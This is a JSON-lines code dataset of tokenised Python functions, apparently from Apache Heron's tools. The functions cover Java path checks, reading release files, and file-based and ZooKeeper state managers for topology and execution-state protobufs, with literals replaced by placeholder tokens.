{"signature": "def get_java_path():", "body": "java_home = os.environ.get(\"<STR_LIT>\")<EOL>return os.path.join(java_home, BIN_DIR, \"<STR_LIT>\")<EOL>", "docstring": "Get the path of java executable", "id": "f7415:m24"}
{"signature": "def check_java_home_set():", "body": "<EOL>if \"<STR_LIT>\" not in os.environ:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>java_path = get_java_path()<EOL>if os.path.isfile(java_path) and os.access(java_path, os.X_OK):<EOL><INDENT>return True<EOL><DEDENT>Log.error(\"<STR_LIT>\")<EOL>return False<EOL>", "docstring": "Check if the java home set", "id": "f7415:m25"}
{"signature": "def check_release_file_exists():", "body": "release_file = get_heron_release_file()<EOL>if not os.path.isfile(release_file):<EOL><INDENT>Log.error(\"<STR_LIT>\" % release_file)<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if the release.yaml file exists", "id": "f7415:m26"}
{"signature": "def print_build_info(zipped_pex=False):", "body": "if zipped_pex:<EOL><INDENT>release_file = get_zipped_heron_release_file()<EOL><DEDENT>else:<EOL><INDENT>release_file = get_heron_release_file()<EOL><DEDENT>with open(release_file) as release_info:<EOL><INDENT>release_map = yaml.load(release_info)<EOL>release_items = sorted(release_map.items(), key=lambda tup: tup[<NUM_LIT:0>])<EOL>for key, value in release_items:<EOL><INDENT>print(\"<STR_LIT>\" % (key, value))<EOL><DEDENT><DEDENT>", "docstring": "Print build_info from release.yaml\n\n    :param zipped_pex: True if the PEX file is built with flag `zip_safe=False'.", "id": "f7415:m27"}
{"signature": "def get_version_number(zipped_pex=False):", "body": "if zipped_pex:<EOL><INDENT>release_file = get_zipped_heron_release_file()<EOL><DEDENT>else:<EOL><INDENT>release_file = get_heron_release_file()<EOL><DEDENT>with open(release_file) as release_info:<EOL><INDENT>for line in release_info:<EOL><INDENT>trunks = line[:-<NUM_LIT:1>].split('<STR_LIT:U+0020>')<EOL>if trunks[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>return trunks[-<NUM_LIT:1>].replace(\"<STR_LIT:'>\", \"<STR_LIT>\")<EOL><DEDENT><DEDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Print version from release.yaml\n\n    :param zipped_pex: True if the PEX file is built with flag `zip_safe=False'.", "id": "f7415:m28"}
{"signature": "def insert_bool(param, command_args):", "body": "index = <NUM_LIT:0><EOL>found = False<EOL>for lelem in command_args:<EOL><INDENT>if lelem == '<STR_LIT>' and not found:<EOL><INDENT>break<EOL><DEDENT>if lelem == param:<EOL><INDENT>found = True<EOL>break<EOL><DEDENT>index = index + <NUM_LIT:1><EOL><DEDENT>if found:<EOL><INDENT>command_args.insert(index + <NUM_LIT:1>, '<STR_LIT:True>')<EOL><DEDENT>return command_args<EOL>", "docstring": ":param param:\n:param command_args:\n:return:", "id": "f7415:m29"}
{"signature": "def insert_bool_values(command_line_args):", "body": "args1 = insert_bool('<STR_LIT>', command_line_args)<EOL>args2 = insert_bool('<STR_LIT>', args1)<EOL>return args2<EOL>", "docstring": ":param command_line_args:\n:return:", "id": "f7415:m30"}
{"signature": "def valid_path(path):", "body": "<EOL>if path.endswith('<STR_LIT:*>'):<EOL><INDENT>Log.debug('<STR_LIT>', path[:-<NUM_LIT:1>])<EOL>if os.path.isdir(path[:-<NUM_LIT:1>]):<EOL><INDENT>return True<EOL><DEDENT>return False<EOL><DEDENT>Log.debug('<STR_LIT>', path)<EOL>if os.path.isdir(path):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>Log.debug('<STR_LIT>', path)<EOL>if os.path.isfile(path):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check if an entry in the class path exists as either a directory or a file", "id": "f7417:m0"}
{"signature": "def valid_java_classpath(classpath):", "body": "paths = classpath.split('<STR_LIT::>')<EOL>for path_entry in paths:<EOL><INDENT>if not valid_path(path_entry.strip()):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Given a java classpath, check whether the path entries are valid or not", "id": "f7417:m1"}
{"signature": "def set_state_locations(self, state_locations):", "body": "self.locations = state_locations<EOL>self.validate_state_locations()<EOL>", "docstring": "set state locations", "id": "f7421:c0:m1"}
{"signature": "def validate_state_locations(self):", "body": "names = map(lambda loc: loc[\"<STR_LIT:name>\"], self.locations)<EOL>assert len(names) == len(set(names)), \"<STR_LIT>\"<EOL>", "docstring": "Names of all state locations must be unique.", "id": "f7421:c0:m2"}
{"signature": "def get_all_state_locations(self):", "body": "return self.locations<EOL>", "docstring": "Returns all the state locations.", "id": "f7421:c0:m3"}
{"signature": "def get_state_locations_of_type(self, location_type):", "body": "return filter(lambda location: location['<STR_LIT:type>'] == location_type, self.locations)<EOL>", "docstring": "Return a list of state locations of a particular type.", "id": "f7421:c0:m4"}
{"signature": "def start(self):", "body": "self.monitoring_thread_stop_signal = False<EOL>self.monitoring_thread.start()<EOL>", "docstring": "start monitoring thread", "id": "f7422:c0:m1"}
{"signature": "def stop(self):", "body": "self.monitoring_thread_stop_signal = True<EOL>self.event.set()<EOL>", "docstring": "stop monitoring thread", "id": "f7422:c0:m2"}
{"signature": "def monitor(self):", "body": "def trigger_watches_based_on_files(watchers, path, directory, ProtoClass):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>for topology, callbacks in watchers.items():<EOL><INDENT>file_path = os.path.join(path, topology)<EOL>data = \"<STR_LIT>\"<EOL>if os.path.exists(file_path):<EOL><INDENT>with open(os.path.join(path, topology)) as f:<EOL><INDENT>data = f.read()<EOL><DEDENT><DEDENT>if topology not in directory or data != directory[topology]:<EOL><INDENT>proto_object = ProtoClass()<EOL>proto_object.ParseFromString(data)<EOL>for callback in callbacks:<EOL><INDENT>callback(proto_object)<EOL><DEDENT>directory[topology] = data<EOL><DEDENT><DEDENT><DEDENT>while not self.monitoring_thread_stop_signal:<EOL><INDENT>topologies_path = self.get_topologies_path()<EOL>topologies = []<EOL>if os.path.isdir(topologies_path):<EOL><INDENT>topologies = list(filter(<EOL>lambda f: os.path.isfile(os.path.join(topologies_path, f)),<EOL>os.listdir(topologies_path)))<EOL><DEDENT>if set(topologies) != set(self.topologies_directory):<EOL><INDENT>for callback in self.topologies_watchers:<EOL><INDENT>callback(topologies)<EOL><DEDENT><DEDENT>self.topologies_directory = topologies<EOL>trigger_watches_based_on_files(<EOL>self.topology_watchers, topologies_path, self.topologies_directory, Topology)<EOL>execution_state_path = os.path.dirname(self.get_execution_state_path(\"<STR_LIT>\"))<EOL>trigger_watches_based_on_files(<EOL>self.execution_state_watchers, execution_state_path,<EOL>self.execution_state_directory, ExecutionState)<EOL>packing_plan_path = os.path.dirname(self.get_packing_plan_path(\"<STR_LIT>\"))<EOL>trigger_watches_based_on_files(<EOL>self.packing_plan_watchers, packing_plan_path, self.packing_plan_directory, PackingPlan)<EOL>pplan_path = os.path.dirname(self.get_pplan_path(\"<STR_LIT>\"))<EOL>trigger_watches_based_on_files(<EOL>self.pplan_watchers, pplan_path,<EOL>self.pplan_directory, PhysicalPlan)<EOL>tmaster_path = os.path.dirname(self.get_tmaster_path(\"<STR_LIT>\"))<EOL>trigger_watches_based_on_files(<EOL>self.tmaster_watchers, tmaster_path,<EOL>self.tmaster_directory, TMasterLocation)<EOL>scheduler_location_path = os.path.dirname(self.get_scheduler_location_path(\"<STR_LIT>\"))<EOL>trigger_watches_based_on_files(<EOL>self.scheduler_location_watchers, scheduler_location_path,<EOL>self.scheduler_location_directory, SchedulerLocation)<EOL>self.event.wait(timeout=<NUM_LIT:5>)<EOL><DEDENT>", "docstring": "Monitor the rootpath and call the callback\ncorresponding to the change.\nThis monitoring happens periodically. This function\nis called in a seperate thread from the main thread,\nbecause it sleeps for the intervals between each poll.", "id": "f7422:c0:m3"}
{"signature": "def get_topologies(self, callback=None):", "body": "if callback:<EOL><INDENT>self.topologies_watchers.append(callback)<EOL><DEDENT>else:<EOL><INDENT>topologies_path = self.get_topologies_path()<EOL>return filter(lambda f: os.path.isfile(os.path.join(topologies_path, f)),<EOL>os.listdir(topologies_path))<EOL><DEDENT>", "docstring": "get topologies", "id": "f7422:c0:m4"}
{"signature": "def get_topology(self, topologyName, callback=None):", "body": "if callback:<EOL><INDENT>self.topology_watchers[topologyName].append(callback)<EOL><DEDENT>else:<EOL><INDENT>topology_path = self.get_topology_path(topologyName)<EOL>with open(topology_path) as f:<EOL><INDENT>data = f.read()<EOL>topology = Topology()<EOL>topology.ParseFromString(data)<EOL>return topology<EOL><DEDENT><DEDENT>", "docstring": "get topology", "id": "f7422:c0:m5"}
{"signature": "def create_topology(self, topologyName, topology):", "body": "pass<EOL>", "docstring": "Create path is currently not supported in file based state manager.", "id": "f7422:c0:m6"}
{"signature": "def delete_topology(self, topologyName):", "body": "pass<EOL>", "docstring": "Delete path is currently not supported in file based state manager.", "id": "f7422:c0:m7"}
{"signature": "def get_packing_plan(self, topologyName, callback=None):", "body": "if callback:<EOL><INDENT>self.packing_plan_watchers[topologyName].append(callback)<EOL><DEDENT>else:<EOL><INDENT>packing_plan_path = self.get_packing_plan_path(topologyName)<EOL>with open(packing_plan_path) as f:<EOL><INDENT>data = f.read()<EOL>packing_plan = PackingPlan()<EOL>packing_plan.ParseFromString(data)<EOL><DEDENT><DEDENT>", "docstring": "get packing plan", "id": "f7422:c0:m8"}
{"signature": "def get_pplan(self, topologyName, callback=None):", "body": "if callback:<EOL><INDENT>self.pplan_watchers[topologyName].append(callback)<EOL><DEDENT>else:<EOL><INDENT>pplan_path = self.get_pplan_path(topologyName)<EOL>with open(pplan_path) as f:<EOL><INDENT>data = f.read()<EOL>pplan = PhysicalPlan()<EOL>pplan.ParseFromString(data)<EOL>return pplan<EOL><DEDENT><DEDENT>", "docstring": "Get physical plan of a topology", "id": "f7422:c0:m9"}
{"signature": "def create_pplan(self, topologyName, pplan):", "body": "pass<EOL>", "docstring": "Create path is currently not supported in file based state manager.", "id": "f7422:c0:m10"}
{"signature": "def delete_pplan(self, topologyName):", "body": "pass<EOL>", "docstring": "Delete path is currently not supported in file based state manager.", "id": "f7422:c0:m11"}
{"signature": "def get_execution_state(self, topologyName, callback=None):", "body": "if callback:<EOL><INDENT>self.execution_state_watchers[topologyName].append(callback)<EOL><DEDENT>else:<EOL><INDENT>execution_state_path = self.get_execution_state_path(topologyName)<EOL>with open(execution_state_path) as f:<EOL><INDENT>data = f.read()<EOL>executionState = ExecutionState()<EOL>executionState.ParseFromString(data)<EOL>return executionState<EOL><DEDENT><DEDENT>", "docstring": "Get execution state", "id": "f7422:c0:m12"}
{"signature": "def create_execution_state(self, topologyName, executionState):", "body": "pass<EOL>", "docstring": "Create path is currently not supported in file based state manager.", "id": "f7422:c0:m13"}
{"signature": "def delete_execution_state(self, topologyName):", "body": "pass<EOL>", "docstring": "Delete path is currently not supported in file based state manager.", "id": "f7422:c0:m14"}
{"signature": "def get_tmaster(self, topologyName, callback=None):", "body": "if callback:<EOL><INDENT>self.tmaster_watchers[topologyName].append(callback)<EOL><DEDENT>else:<EOL><INDENT>tmaster_path = self.get_tmaster_path(topologyName)<EOL>with open(tmaster_path) as f:<EOL><INDENT>data = f.read()<EOL>tmaster = TMasterLocation()<EOL>tmaster.ParseFromString(data)<EOL>return tmaster<EOL><DEDENT><DEDENT>", "docstring": "Get tmaster", "id": "f7422:c0:m15"}
{"signature": "def get_scheduler_location(self, topologyName, callback=None):", "body": "if callback:<EOL><INDENT>self.scheduler_location_watchers[topologyName].append(callback)<EOL><DEDENT>else:<EOL><INDENT>scheduler_location_path = self.get_scheduler_location_path(topologyName)<EOL>with open(scheduler_location_path) as f:<EOL><INDENT>data = f.read()<EOL>scheduler_location = SchedulerLocation()<EOL>scheduler_location.ParseFromString(data)<EOL>return scheduler_location<EOL><DEDENT><DEDENT>", "docstring": "Get scheduler location", "id": "f7422:c0:m16"}
{"signature": "def configure(level, logfile=None):", "body": "log_format = \"<STR_LIT>\"<EOL>date_format = '<STR_LIT>'<EOL>logging.basicConfig(format=log_format, datefmt=date_format)<EOL>Log.setLevel(level)<EOL>if logfile is not None:<EOL><INDENT>fh = logging.FileHandler(logfile)<EOL>fh.setFormatter(logging.Formatter(log_format))<EOL>Log.addHandler(fh)<EOL><DEDENT>", "docstring": "configure logging", "id": "f7424:m0"}
{"signature": "def get_all_state_managers(conf):", "body": "state_managers = []<EOL>try:<EOL><INDENT>state_managers.extend(get_all_zk_state_managers(conf))<EOL>state_managers.extend(get_all_file_state_managers(conf))<EOL>return state_managers<EOL><DEDENT>except Exception as ex:<EOL><INDENT>LOG.error(\"<STR_LIT>\")<EOL>raise ex<EOL><DEDENT>", "docstring": "@param conf - An instance of Config class\nReads the config for requested state managers.\nInstantiates them, start and then return them.", "id": "f7425:m0"}
{"signature": "def get_all_zk_state_managers(conf):", "body": "state_managers = []<EOL>state_locations = conf.get_state_locations_of_type(\"<STR_LIT>\")<EOL>for location in state_locations:<EOL><INDENT>name = location['<STR_LIT:name>']<EOL>hostport = location['<STR_LIT>']<EOL>hostportlist = []<EOL>for hostportpair in hostport.split('<STR_LIT:U+002C>'):<EOL><INDENT>host = None<EOL>port = None<EOL>if '<STR_LIT::>' in hostport:<EOL><INDENT>hostandport = hostportpair.split('<STR_LIT::>')<EOL>if len(hostandport) == <NUM_LIT:2>:<EOL><INDENT>host = hostandport[<NUM_LIT:0>]<EOL>port = int(hostandport[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>if not host or not port:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (name))<EOL><DEDENT>hostportlist.append((host, port))<EOL><DEDENT>tunnelhost = location['<STR_LIT>']<EOL>rootpath = location['<STR_LIT>']<EOL>LOG.info(\"<STR_LIT>\" + str(hostportlist) + \"<STR_LIT>\" + rootpath)<EOL>state_manager = ZkStateManager(name, hostportlist, rootpath, tunnelhost)<EOL>state_managers.append(state_manager)<EOL><DEDENT>return state_managers<EOL>", "docstring": "Creates all the zookeeper state_managers and returns\nthem in a list", "id": "f7425:m1"}
{"signature": "def get_all_file_state_managers(conf):", "body": "state_managers = []<EOL>state_locations = conf.get_state_locations_of_type(\"<STR_LIT:file>\")<EOL>for location in state_locations:<EOL><INDENT>name = location['<STR_LIT:name>']<EOL>rootpath = os.path.expanduser(location['<STR_LIT>'])<EOL>LOG.info(\"<STR_LIT>\" + rootpath)<EOL>state_manager = FileStateManager(name, rootpath)<EOL>state_managers.append(state_manager)<EOL><DEDENT>return state_managers<EOL>", "docstring": "Returns all the file state_managers.", "id": "f7425:m2"}
{"signature": "def _kazoo_client(self, hostportlist):", "body": "return KazooClient(hostportlist)<EOL>", "docstring": "For Unit testing, replace this method to not\nActually return a client", "id": "f7426:c0:m1"}
{"signature": "def start(self):", "body": "if self.is_host_port_reachable():<EOL><INDENT>self.client = self._kazoo_client(_makehostportlist(self.hostportlist))<EOL><DEDENT>else:<EOL><INDENT>localhostports = self.establish_ssh_tunnel()<EOL>self.client = self._kazoo_client(_makehostportlist(localhostports))<EOL><DEDENT>self.client.start()<EOL>def on_connection_change(state):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>LOG.info(\"<STR_LIT>\" + state)<EOL><DEDENT>self.client.add_listener(on_connection_change)<EOL>", "docstring": "state Zookeeper", "id": "f7426:c0:m2"}
{"signature": "def stop(self):", "body": "self.client.stop()<EOL>self.terminate_ssh_tunnel()<EOL>", "docstring": "stop Zookeeper", "id": "f7426:c0:m3"}
{"signature": "def get_topologies(self, callback=None):", "body": "isWatching = False<EOL>ret = {<EOL>\"<STR_LIT:result>\": None<EOL>}<EOL>if callback:<EOL><INDENT>isWatching = True<EOL><DEDENT>else:<EOL><INDENT>def callback(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret[\"<STR_LIT:result>\"] = data<EOL><DEDENT><DEDENT>try:<EOL><INDENT>self.client.ensure_path(self.get_topologies_path())<EOL>self._get_topologies_with_watch(callback, isWatching)<EOL><DEDENT>except NoNodeError:<EOL><INDENT>self.client.stop()<EOL>path = self.get_topologies_path()<EOL>raise_(StateException(\"<STR_LIT>\" % (path),<EOL>StateException.EX_TYPE_NO_NODE_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>return ret[\"<STR_LIT:result>\"]<EOL>", "docstring": "get topologies", "id": "f7426:c0:m4"}
{"signature": "def _get_topologies_with_watch(self, callback, isWatching):", "body": "path = self.get_topologies_path()<EOL>if isWatching:<EOL><INDENT>LOG.info(\"<STR_LIT>\" + path)<EOL><DEDENT>@self.client.ChildrenWatch(path)<EOL>def watch_topologies(topologies):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>callback(topologies)<EOL>return isWatching<EOL><DEDENT>", "docstring": "Helper function to get topologies with\na callback. The future watch is placed\nonly if isWatching is True.", "id": "f7426:c0:m5"}
{"signature": "def get_topology(self, topologyName, callback=None):", "body": "isWatching = False<EOL>ret = {<EOL>\"<STR_LIT:result>\": None<EOL>}<EOL>if callback:<EOL><INDENT>isWatching = True<EOL><DEDENT>else:<EOL><INDENT>def callback(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret[\"<STR_LIT:result>\"] = data<EOL><DEDENT><DEDENT>self._get_topology_with_watch(topologyName, callback, isWatching)<EOL>return ret[\"<STR_LIT:result>\"]<EOL>", "docstring": "get topologies", "id": "f7426:c0:m6"}
{"signature": "def _get_topology_with_watch(self, topologyName, callback, isWatching):", "body": "path = self.get_topology_path(topologyName)<EOL>if isWatching:<EOL><INDENT>LOG.info(\"<STR_LIT>\" + path)<EOL><DEDENT>@self.client.DataWatch(path)<EOL>def watch_topology(data, stats):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if data:<EOL><INDENT>topology = Topology()<EOL>topology.ParseFromString(data)<EOL>callback(topology)<EOL><DEDENT>else:<EOL><INDENT>callback(None)<EOL><DEDENT>return isWatching<EOL><DEDENT>", "docstring": "Helper function to get pplan with\na callback. The future watch is placed\nonly if isWatching is True.", "id": "f7426:c0:m7"}
{"signature": "def create_topology(self, topologyName, topology):", "body": "if not topology or not topology.IsInitialized():<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_PROTOBUF_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>path = self.get_topology_path(topologyName)<EOL>LOG.info(\"<STR_LIT>\".format(<EOL>topologyName, path))<EOL>topologyString = topology.SerializeToString()<EOL>try:<EOL><INDENT>self.client.create(path, value=topologyString, makepath=True)<EOL>return True<EOL><DEDENT>except NoNodeError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NO_NODE_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except NodeExistsError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NODE_EXISTS_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except ZookeeperError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_ZOOKEEPER_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "crate topology", "id": "f7426:c0:m8"}
{"signature": "def delete_topology(self, topologyName):", "body": "path = self.get_topology_path(topologyName)<EOL>LOG.info(\"<STR_LIT>\".format(<EOL>topologyName, path))<EOL>try:<EOL><INDENT>self.client.delete(path)<EOL>return True<EOL><DEDENT>except NoNodeError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NO_NODE_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except NotEmptyError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NOT_EMPTY_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except ZookeeperError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_ZOOKEEPER_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "delete topology", "id": "f7426:c0:m9"}
{"signature": "def get_packing_plan(self, topologyName, callback=None):", "body": "isWatching = False<EOL>ret = {<EOL>\"<STR_LIT:result>\": None<EOL>}<EOL>if callback:<EOL><INDENT>isWatching = True<EOL><DEDENT>else:<EOL><INDENT>def callback(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret[\"<STR_LIT:result>\"] = data<EOL><DEDENT><DEDENT>self._get_packing_plan_with_watch(topologyName, callback, isWatching)<EOL>return ret[\"<STR_LIT:result>\"]<EOL>", "docstring": "get packing plan", "id": "f7426:c0:m10"}
{"signature": "def _get_packing_plan_with_watch(self, topologyName, callback, isWatching):", "body": "path = self.get_packing_plan_path(topologyName)<EOL>if isWatching:<EOL><INDENT>LOG.info(\"<STR_LIT>\" + path)<EOL><DEDENT>@self.client.DataWatch(path)<EOL>def watch_packing_plan(data, stats):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if data:<EOL><INDENT>packing_plan = PackingPlan()<EOL>packing_plan.ParseFromString(data)<EOL>callback(packing_plan)<EOL><DEDENT>else:<EOL><INDENT>callback(None)<EOL><DEDENT>return isWatching<EOL><DEDENT>", "docstring": "Helper function to get packing_plan with\na callback. The future watch is placed\nonly if isWatching is True.", "id": "f7426:c0:m11"}
{"signature": "def get_pplan(self, topologyName, callback=None):", "body": "isWatching = False<EOL>ret = {<EOL>\"<STR_LIT:result>\": None<EOL>}<EOL>if callback:<EOL><INDENT>isWatching = True<EOL><DEDENT>else:<EOL><INDENT>def callback(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret[\"<STR_LIT:result>\"] = data<EOL><DEDENT><DEDENT>self._get_pplan_with_watch(topologyName, callback, isWatching)<EOL>return ret[\"<STR_LIT:result>\"]<EOL>", "docstring": "get physical plan", "id": "f7426:c0:m12"}
{"signature": "def _get_pplan_with_watch(self, topologyName, callback, isWatching):", "body": "path = self.get_pplan_path(topologyName)<EOL>if isWatching:<EOL><INDENT>LOG.info(\"<STR_LIT>\" + path)<EOL><DEDENT>@self.client.DataWatch(path)<EOL>def watch_pplan(data, stats):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if data:<EOL><INDENT>pplan = PhysicalPlan()<EOL>pplan.ParseFromString(data)<EOL>callback(pplan)<EOL><DEDENT>else:<EOL><INDENT>callback(None)<EOL><DEDENT>return isWatching<EOL><DEDENT>", "docstring": "Helper function to get pplan with\na callback. The future watch is placed\nonly if isWatching is True.", "id": "f7426:c0:m13"}
{"signature": "def create_pplan(self, topologyName, pplan):", "body": "if not pplan or not pplan.IsInitialized():<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_PROTOBUF_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>path = self.get_pplan_path(topologyName)<EOL>LOG.info(\"<STR_LIT>\".format(<EOL>topologyName, path))<EOL>pplanString = pplan.SerializeToString()<EOL>try:<EOL><INDENT>self.client.create(path, value=pplanString, makepath=True)<EOL>return True<EOL><DEDENT>except NoNodeError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NO_NODE_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except NodeExistsError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NODE_EXISTS_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except ZookeeperError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_ZOOKEEPER_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "create physical plan", "id": "f7426:c0:m14"}
{"signature": "def delete_pplan(self, topologyName):", "body": "path = self.get_pplan_path(topologyName)<EOL>LOG.info(\"<STR_LIT>\".format(<EOL>topologyName, path))<EOL>try:<EOL><INDENT>self.client.delete(path)<EOL>return True<EOL><DEDENT>except NoNodeError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NO_NODE_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except NotEmptyError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NOT_EMPTY_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except ZookeeperError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_ZOOKEEPER_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "delete physical plan info", "id": "f7426:c0:m15"}
{"signature": "def get_execution_state(self, topologyName, callback=None):", "body": "isWatching = False<EOL>ret = {<EOL>\"<STR_LIT:result>\": None<EOL>}<EOL>if callback:<EOL><INDENT>isWatching = True<EOL><DEDENT>else:<EOL><INDENT>def callback(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret[\"<STR_LIT:result>\"] = data<EOL><DEDENT><DEDENT>self._get_execution_state_with_watch(topologyName, callback, isWatching)<EOL>return ret[\"<STR_LIT:result>\"]<EOL>", "docstring": "get execution state", "id": "f7426:c0:m16"}
{"signature": "def _get_execution_state_with_watch(self, topologyName, callback, isWatching):", "body": "path = self.get_execution_state_path(topologyName)<EOL>if isWatching:<EOL><INDENT>LOG.info(\"<STR_LIT>\" + path)<EOL><DEDENT>@self.client.DataWatch(path)<EOL>def watch_execution_state(data, stats):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if data:<EOL><INDENT>executionState = ExecutionState()<EOL>executionState.ParseFromString(data)<EOL>callback(executionState)<EOL><DEDENT>else:<EOL><INDENT>callback(None)<EOL><DEDENT>return isWatching<EOL><DEDENT>", "docstring": "Helper function to get execution state with\na callback. The future watch is placed\nonly if isWatching is True.", "id": "f7426:c0:m17"}
{"signature": "def create_execution_state(self, topologyName, executionState):", "body": "if not executionState or not executionState.IsInitialized():<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_PROTOBUF_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>path = self.get_execution_state_path(topologyName)<EOL>LOG.info(\"<STR_LIT>\".format(<EOL>topologyName, path))<EOL>executionStateString = executionState.SerializeToString()<EOL>try:<EOL><INDENT>self.client.create(path, value=executionStateString, makepath=True)<EOL>return True<EOL><DEDENT>except NoNodeError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NO_NODE_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except NodeExistsError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NODE_EXISTS_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except ZookeeperError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_ZOOKEEPER_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "create execution state", "id": "f7426:c0:m18"}
{"signature": "def delete_execution_state(self, topologyName):", "body": "path = self.get_execution_state_path(topologyName)<EOL>LOG.info(\"<STR_LIT>\".format(<EOL>topologyName, path))<EOL>try:<EOL><INDENT>self.client.delete(path)<EOL>return True<EOL><DEDENT>except NoNodeError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NO_NODE_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except NotEmptyError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_NOT_EMPTY_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except ZookeeperError:<EOL><INDENT>raise_(StateException(\"<STR_LIT>\",<EOL>StateException.EX_TYPE_ZOOKEEPER_ERROR), sys.exc_info()[<NUM_LIT:2>])<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "delete execution state", "id": "f7426:c0:m19"}
{"signature": "def get_tmaster(self, topologyName, callback=None):", "body": "isWatching = False<EOL>ret = {<EOL>\"<STR_LIT:result>\": None<EOL>}<EOL>if callback:<EOL><INDENT>isWatching = True<EOL><DEDENT>else:<EOL><INDENT>def callback(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>ret[\"<STR_LIT:result>\"] = data<EOL><DEDENT><DEDENT>self._get_tmaster_with_watch(topologyName, callback, isWatching)<EOL>return ret[\"<STR_LIT:result>\"]<EOL>", "docstring": "get tmaster", "id": "f7426:c0:m20"}
{"signature": "def _get_tmaster_with_watch(self, topologyName, callback, isWatching):", "body": "path = self.get_tmaster_path(topologyName)<EOL>if isWatching:<EOL><INDENT>LOG.info(\"<STR_LIT>\" + path)<EOL><DEDENT>@self.client.DataWatch(path)<EOL>def watch_tmaster(data, stats):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if data:<EOL><INDENT>tmaster = TMasterLocation()<EOL>tmaster.ParseFromString(data)<EOL>callback(tmaster)<EOL><DEDENT>else:<EOL><INDENT>callback(None)<EOL><DEDENT>return isWatching<EOL><DEDENT>", "docstring": "Helper function to get pplan with\na callback. The future watch is placed\nonly if isWatching is True.", "id": "f7426:c0:m21"}
